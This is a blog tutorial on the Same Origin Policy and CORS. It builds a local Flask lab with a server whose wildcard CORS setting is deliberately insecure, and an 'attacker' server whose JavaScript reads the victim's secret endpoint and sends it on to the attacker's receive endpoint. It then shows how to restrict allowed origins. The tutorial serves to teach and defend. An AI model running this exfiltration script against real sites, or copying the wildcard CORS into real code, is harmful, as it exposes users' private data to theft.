What is SOP or Same Origin Policy?

According to MDN Web docs, The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin.

It helps isolate potentially malicious documents, reducing possible attack vectors. For example, it prevents a malicious website on the Internet from running JS in a browser to read data from a third-party webmail service (which the user is signed into) or a company intranet (which is protected from direct access by the attacker by not having a public IP address) and relaying that data to the attacker.

In this blog, we will see how an attacker can practically achieve this.

Setting up a vulnerable server

First, We will set up a simple server using python flask. For people, who are new to Python or web development, they have to run the following command first to install Flask and CORS library(We will understand, what is CORS in further sections).

pip install Flask Flask-CORS

Now create a file with the name vulnerable.py and add the following code to it.

from flask import Flask, Response, request
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/*": {"origins": "*"}})

@app.route('/')
def index():
    resp = Response("""
        <html>
        <head>
            <title>vulnerable.com</title>
        </head>
        <body>
            <h1>Hello from vulnerable.com!</h1>
        </body>
        </html>
    """)
    resp.set_cookie('Secret', 'PleaseDontEatMe')
    return resp

@app.route('/secret')
def secret():
    return "Super-Sensitive-data"

if __name__ == '__main__':
    app.run()

Let's understand the code, In the first 2 lines we are importing required flask-related libraries. Then we created a Flask application instance. We will skip the next line for now where we are introducing a vulnerability for an attacker. Next, we created a simple index function which will be executed as soon as the request is made to the server. This function will return the defined HTML code and will set the cookie Secret in the client browser. Then there is a function with a name secret that returns super-sensitive data. Finally, we are running the application using app.run().

Now that we have created and understood our victim server, we can run it using the below command.

python vulnerable.py

The output of the above command says that our server is running on port 5000. We can access it using this URL http://127.0.0.1:5000. To stop the server we need to hit Ctrl+c.

Let's be an attacker

After creating and hosting our victim server we'll create an attacker server. We can follow the above steps but we need to create a file with the name attacker.py instead of victim.py and add the following code.

from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return """
        <html>
        <head>
            <title>attacker.com</title>
        </head>
        <body>
            <h1>Hello from def.com!</h1>
            <script src="/script.js"></script>
        </body>
        </html>
    """

@app.route('/script.js')
def script():
    return """
        fetch('http://127.0.0.1:5000/secret')
        .then(response => response.text())
        .then(data => {
            const xhr = new XMLHttpRequest();
            xhr.open('GET', 'http://127.0.0.1:4545/receive?secret=' + encodeURIComponent(data));
            xhr.send();
        });
    """

if __name__ == '__main__':
    app.run(port=4545)

Let's understand the code. In the above code, the first thing we need to notice is that we are running the server on port 4545. Next, we need to understand that the JavaScript which is returned upon requesting for script.js.

fetch('http://127.0.0.1:5000/secret')
    .then(response => response.text())
    .then(data => {
         const xhr = new XMLHttpRequest();
         xhr.open('GET', 'http://127.0.0.1:4545/receive?secret=' + encodeURIComponent(data));
         xhr.send();
        });

The above code will make the browser send a request to http://127.0.0.1:5000/secret. Then whatever response it will get it will send that to http://127.0.0.1:4545 back in its query parameters like this http://127.0.0.1:4545/recieve?secret=TheSecret.

Now that we have both the environment set for the vulnerable website and the attacker's website. Let's see things, how they work. Don't forget to start the attacker.py code using python attacker.py command.

Step 1: Access the page http://127.0.0.1:5000. Once loaded it should look something like below.

Also, we can see a request is generated in the CLI.

Step 2: Now access the http://127.0.0.1:4545. We will see a page like below loaded into our browser. Press the F12 button and developer console will be loaded. Notice that the browser has send a request to http://127.0.0.1:4545 with the sensitive data.

Now if we will check the CLi where we have started the attacker's server we can see the "Super-sensitive data"

What's the problem with this scenario and why somebody will care about it? Let's imagine you are visiting a banking website and there are various sensitive endpoints such as retrieving bank balances, transferring money etc. Now an attacker created a random site and sent it to you through email or any other social media and you clicked on the link and you saw a funny meme and then ignored it. However, the attacker's site loaded more than just a meme and it all happened in the background. The JavaScript loaded to your browser will retrieve the sensitive data from your bank account and send it back to him.

To get rid of this problem, browsers got the SOP - Same origin policy. As per the SOP, A resource or script loaded from one origin can allow resources from the same origin only. We consider it the same origin when the protocol, domain and port numbers are the same for both. We can understand this from the following table.

URLOutcomeReason
http://store.company.com/dir2/other.htmlSame originOnly the path differs
http://store.company.com/dir/inner/another.htmlSame originOnly the path differs
https://store.company.com/page.htmlFailureDifferent protocol
http://store.company.com:81/dir/page.htmlFailureDifferent port (http:// is port 80 by default)
http://news.company.com/dir/page.htmlFailureDifferent host

Comparing this to our lab environment, we were violating the policy by accessing the resource from different ports. The Vulnerable server was running on the 5000 port while our attacker's server was running on the 4545 port.

What if there's a requirement for a resource to be shared from a different origin? will that never be allowed? That's far from the truth. There's a solution to this and that's CORS.

What is CORS?

CORS or the "Cross-Origin Resource Sharing". As per the MDN, Cross-Origin Resource Sharing (CORS) is an HTTP-header-based mechanism that allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources.

Now coming back to our lab setup, if you remember we have used the below line of code in our vulnerable.py code, this line of code is a bypass to the SOP.

CORS(app, resources={r"/*": {"origins": "*"}})

In our example, we had allowed the CORS from all the origins by using a wildcard entry "*". Due to this, the attacker's server was able to access the 'Super-sensitive-data. Configuring CORS this way is not a security best practice. Sometimes developers become lazy and they allow this type of CORS instead of specifying the domains from which the resources can be accessed.

Now if we remove this line of code completely from our vulnerable.py server and perform the same attack we will see that we are not able to access the 'Super-sensitive-data' from the attacker's server and we get the following result in the developer console. When we check in the terminal where we started our attacker's server we see that

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://127.0.0.1:5000/secret. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).

Now, let's assume that the attacker server is a genuine server and we want it to access the content of the vulnerable server but we don't want any one else to access that data. We can replace the wildcard entry with the below line.

CORS(app, resources={r"/*": {"origins": "http://127.0.0.1:4545"}})

This code will make sure that the resource can only be shared with http://127.0.0.1:4545 not any other. This way we can make sure that the server is not misconfigured. We can add more options to work according to our requirement such as allowing only required methods but not all.

Thanks for reading the blog. Hope this adds some value to your work and knowledge. Please feel free to give any feedback.

References:

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

https://portswigger.net/web-security/cors/same-origin-policy

Did you find this article valuable?

Support Santosh Achary by becoming a sponsor. Any amount is appreciated!